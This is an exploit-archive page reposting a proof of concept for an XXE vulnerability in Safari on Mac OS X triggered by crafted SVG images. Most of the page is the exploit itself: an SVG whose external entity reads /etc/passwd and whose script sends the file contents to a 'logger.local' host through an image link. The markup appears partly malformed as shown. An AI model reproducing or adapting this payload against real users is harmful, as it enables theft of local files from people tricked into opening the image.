Edit Report

Our sensors found this exploit at:

Below is a copy:

Apple Safari for Mac OS X SVG local XXE PoCSafari for Mac OS X is prone to an XXE vulnerability when processing crafted SVG images. 
An attacker may use this vulnerability to steal files from local computer by tricking a user into opening and SVG image from a local location (ie USB key).
This vulnerability is mitigated by the file quarantine and do not work with downloaded files.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [  
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<svg version="1.0" xmlns="" width="19000px" xmlns:xlink="" >
<text x="-1000" y="-1000" >&xxe;</text>
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
var logger = "http://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML);
document.createElementNS('','image').setAttributeNS('','href', logger);



Copyright ©2022 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.